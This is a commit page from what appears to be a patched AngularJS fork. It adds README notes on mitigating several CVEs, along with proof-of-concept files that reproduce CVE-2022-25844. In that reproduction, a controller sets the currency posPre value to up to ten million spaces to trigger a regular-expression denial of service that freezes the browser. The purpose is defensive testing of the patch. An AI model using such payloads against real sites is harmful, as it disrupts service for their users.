Skip to content

Commit 212ebb7

Browse files
s-nesbigalls-nesbigall
committed
1 parent 77b7b0c commit 212ebb7

30 files changed

+1036
-1
lines changed

‎README.md‎

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,50 @@
11
AngularJS [![CircleCI](https://circleci.com/gh/angular/angular.js/tree/master.svg?style=shield)](https://circleci.com/gh/angular/workflows/angular.js/tree/master)
22
=========
33

4+
# Security Mitigation:
5+
6+
The following CVEs has been mitigated. In order those mitigations are working,
7+
there are POC examples to reproduce the problems in /cve of this repository.
8+
9+
To reproduce the attack, change the according index.html to point to the angular.js (1.8.3)
10+
version in node_modules (npm install first).
11+
12+
To test the mitigation build this repo (yarn grunt package (node 12.22.12)) and change the according index.html
13+
to point to /build/angular.js.
14+
15+
## CVE-2022-25869 Is not mitigated: Don't ever use Internet Explorer.
16+
17+
## CVE-2022-25844
18+
In order to reproduce the problem see /cve/CVE-2022-25844/ (run with angular from node_modules).
19+
20+
This was mitigated by https://github.com/continu/angular.js by doing a manual replacement of the positive quantifiers.
21+
See https://github.com/angular/angular.js/compare/master...continu:angular.js:master
22+
in /src/ng/filter/filters.
23+
24+
## CVE-2023-26116
25+
In order to reproduce the problem see /cve/CVE-2023-26116/ (run with angular from node_modules).
26+
27+
This was mitigated by checking the length (max 10000 characters) of the RegExp pattern when one is found in angular.copy.
28+
An error is thrown if there are to many characters.
29+
See /src/Angular.js#1004.
30+
31+
## CVE-2023-26117
32+
In order to reproduce the problem see /cve/CVE-2023-26117/ (run with angular from node_modules).
33+
34+
This was mitigated by checking the length (max 10000 characters) of the url in setUrlParams.
35+
An error is thrown if there are to many characters.
36+
See /src/ngResource/resource.js#612.
37+
38+
## CVE-2023-26118
39+
In order to reproduce the problem see /cve/CVE-2023-26118/ (run with angular from node_modules).
40+
41+
This was mitigated by checking the length (max 10000 characters) of the url in the input.
42+
The url is invalid if there are to many characters.
43+
See /src/ng/directive/input.js#1945.
44+
45+
46+
=========
47+
448
AngularJS lets you write client-side web applications as if you had a smarter browser. It lets you
549
use good old HTML (or HAML, Jade/Pug and friends!) as your template language and lets you extend HTML’s
650
syntax to express your application’s components clearly and succinctly. It automatically

‎cve/CVE-2022-25844/Readme.md‎

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
CVE-2022-25844
2+
3+
https://security.snyk.io/vuln/SNYK-JS-ANGULAR-2772735
4+
5+
https://stackblitz.com/edit/angularjs-material-blank-zvtdvb

‎cve/CVE-2022-25844/angular-locale_en_broken.js‎

Lines changed: 145 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,145 @@
1+
'use strict';
2+
angular.module(
3+
'ngLocale',
4+
[],
5+
[
6+
'$provide',
7+
function ($provide) {
8+
var PLURAL_CATEGORY = {
9+
ZERO: 'zero',
10+
ONE: 'one',
11+
TWO: 'two',
12+
FEW: 'few',
13+
MANY: 'many',
14+
OTHER: 'other',
15+
};
16+
function getDecimals(n) {
17+
n = n + '';
18+
var i = n.indexOf('.');
19+
return i == -1 ? 0 : n.length - i - 1;
20+
}
21+
22+
function getVF(n, opt_precision) {
23+
var v = opt_precision;
24+
25+
if (undefined === v) {
26+
v = Math.min(getDecimals(n), 3);
27+
}
28+
29+
var base = Math.pow(10, v);
30+
var f = ((n * base) | 0) % base;
31+
return { v: v, f: f };
32+
}
33+
34+
$provide.value('$locale', {
35+
DATETIME_FORMATS: {
36+
AMPMS: ['AM', 'PM'],
37+
DAY: [
38+
'Sunday',
39+
'Monday',
40+
'Tuesday',
41+
'Wednesday',
42+
'Thursday',
43+
'Friday',
44+
'Saturday',
45+
],
46+
ERANAMES: ['Before Christ', 'Anno Domini'],
47+
ERAS: ['BC', 'AD'],
48+
FIRSTDAYOFWEEK: 6,
49+
MONTH: [
50+
'January',
51+
'February',
52+
'March',
53+
'April',
54+
'May',
55+
'June',
56+
'July',
57+
'August',
58+
'September',
59+
'October',
60+
'November',
61+
'December',
62+
],
63+
SHORTDAY: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'],
64+
SHORTMONTH: [
65+
'Jan',
66+
'Feb',
67+
'Mar',
68+
'Apr',
69+
'May',
70+
'Jun',
71+
'Jul',
72+
'Aug',
73+
'Sep',
74+
'Oct',
75+
'Nov',
76+
'Dec',
77+
],
78+
STANDALONEMONTH: [
79+
'January',
80+
'February',
81+
'March',
82+
'April',
83+
'May',
84+
'June',
85+
'July',
86+
'August',
87+
'September',
88+
'October',
89+
'November',
90+
'December',
91+
],
92+
WEEKENDRANGE: [5, 6],
93+
fullDate: 'EEEE, MMMM d, y',
94+
longDate: 'MMMM d, y',
95+
medium: 'MMM d, y h:mm:ss a',
96+
mediumDate: 'MMM d, y',
97+
mediumTime: 'h:mm:ss a',
98+
short: 'M/d/yy h:mm a',
99+
shortDate: 'M/d/yy',
100+
shortTime: 'h:mm a',
101+
},
102+
NUMBER_FORMATS: {
103+
CURRENCY_SYM: '$',
104+
DECIMAL_SEP: '.',
105+
GROUP_SEP: ',',
106+
PATTERNS: [
107+
{
108+
gSize: 3,
109+
lgSize: 3,
110+
maxFrac: 3,
111+
minFrac: 0,
112+
minInt: 1,
113+
negPre: '-',
114+
negSuf: '',
115+
posPre: '',
116+
posSuf: '',
117+
},
118+
{
119+
gSize: 3,
120+
lgSize: 3,
121+
maxFrac: 2,
122+
minFrac: 2,
123+
minInt: 1,
124+
negPre: '-\u00a4',
125+
negSuf: '',
126+
posPre: '\u00a4',
127+
//posPre: ' '.repeat(1000000),
128+
posSuf: '',
129+
},
130+
],
131+
},
132+
id: 'en',
133+
localeID: 'en',
134+
pluralCat: function (n, opt_precision) {
135+
var i = n | 0;
136+
var vf = getVF(n, opt_precision);
137+
if (i == 1 && vf.v == 0) {
138+
return PLURAL_CATEGORY.ONE;
139+
}
140+
return PLURAL_CATEGORY.OTHER;
141+
},
142+
});
143+
},
144+
]
145+
);

‎cve/CVE-2022-25844/index.html‎

Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
<head>
2+
<meta charset="utf-8" />
3+
<title>AngularJS $filter Currency ReDos Demo</title>
4+
<meta name="viewport" content="width=device-width, initial-scale=1" />
5+
6+
<!--script src="./node_modules/angular/angular.js" type="text/javascript"></script-->
7+
<script src="../../build/angular.js" type="text/javascript"></script>
8+
<script src="./index.js" type="text/javascript"></script>
9+
</head>
10+
11+
<body ng-app="app" ng-controller="AppCtrl as $ctrl">
12+
<main layout="column">
13+
<h1 class="md-headline">AngularJS $filter Currency ReDos Demo</h1>
14+
<section md-whiteframe="1" class="md-padding">
15+
<div>
16+
<label>Currency Symbol</label>
17+
<input name="symbol" ng-model="$ctrl.currencySymbol" ng-trim="false" />
18+
</div>
19+
<div>
20+
<label>Amount</label>
21+
<input name="amount" ng-model="$ctrl.amount" ng-trim="false" />
22+
</div>
23+
<div>
24+
<label>
25+
Locale Service
26+
<pre style="display: inline; font-weight: bold">posPre</pre>
27+
Value
28+
</label>
29+
<input
30+
name="posPre"
31+
ng-model="$ctrl.posPre"
32+
ng-change="$ctrl.onPosPreChange()"
33+
ng-trim="false"
34+
/>
35+
</div>
36+
<br />
37+
<span style="font-weight: bold">Output: </span>
38+
{{ $ctrl.amount | currency : $ctrl.currencySymbol }}
39+
<br />
40+
<br />
41+
<br />
42+
<div>
43+
<div class="md-title" style="margin-bottom: 4px">WARNING</div>
44+
Clicking the <span style="font-style: italic">ReDos Now</span> button
45+
will:
46+
<ul>
47+
<li>
48+
Set the
49+
<span style="font-style: italic">Currency Symbol</span>
50+
input to an empty string
51+
</li>
52+
<li>
53+
Set the
54+
<span style="font-style: italic">
55+
Locale Service
56+
<pre style="display: inline; font-weight: bold">posPre</pre>
57+
Value
58+
</span>
59+
input to 1,000,0000 whitespace characters
60+
</li>
61+
</ul>
62+
<span style="font-weight: bold">THIS WILL FREEZE THE WINDOW</span>
63+
</div>
64+
<br />
65+
<button ng-click="$ctrl.onReDos(10000)" class="md-raised md-primary">
66+
ReDos Now 10000
67+
</button>
68+
<button ng-click="$ctrl.onReDos(100000)" class="md-raised md-primary">
69+
ReDos Now 100000
70+
</button>
71+
<button ng-click="$ctrl.onReDos(1000000)" class="md-raised md-primary">
72+
ReDos Now 1000000
73+
</button>
74+
<button ng-click="$ctrl.onReDos(10000000)" class="md-raised md-primary">
75+
ReDos Now 10000000
76+
</button>
77+
</section>
78+
</main>
79+
</body>

‎cve/CVE-2022-25844/index.js‎

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
class AppCtrl {
2+
constructor($locale, $timeout) {
3+
'ngInject';
4+
const ctrl = this;
5+
ctrl.currencySymbol = '$';
6+
ctrl.amount = 100;
7+
ctrl.posPre = $locale.NUMBER_FORMATS.PATTERNS[1].posPre;
8+
9+
ctrl.onPosPreChange = () => {
10+
$locale.NUMBER_FORMATS.PATTERNS[1].posPre = ctrl.posPre;
11+
const amount = ctrl.amount;
12+
ctrl.amount = 0;
13+
$timeout(() => (ctrl.amount = amount));
14+
};
15+
16+
ctrl.onReDos = (repeat) => {
17+
ctrl.currencySymbol = '';
18+
ctrl.posPre = ' '.repeat(repeat);
19+
$locale.NUMBER_FORMATS.PATTERNS[1].posPre = ctrl.posPre;
20+
};
21+
}
22+
}
23+
24+
// Define and configure the app.
25+
window.angular
26+
.module('app', [])
27+
.controller('AppCtrl', AppCtrl);

‎cve/CVE-2022-25844/package-lock.json‎

Lines changed: 33 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

‎cve/CVE-2022-25844/package.json‎

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
{
2+
"name": "angularjs-material-blank",
3+
"version": "0.0.0",
4+
"private": true,
5+
"dependencies": {
6+
"angular": "^1.8.3"
7+
}
8+
}

‎cve/CVE-2022-25869/Readme.md‎

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
CVE-2022-25869
2+
3+
https://security.snyk.io/vuln/SNYK-JS-ANGULAR-2949781
4+
5+
https://glitch.com/edit/#!/angular-repro-textarea-xss

0 commit comments

Comments
 (0)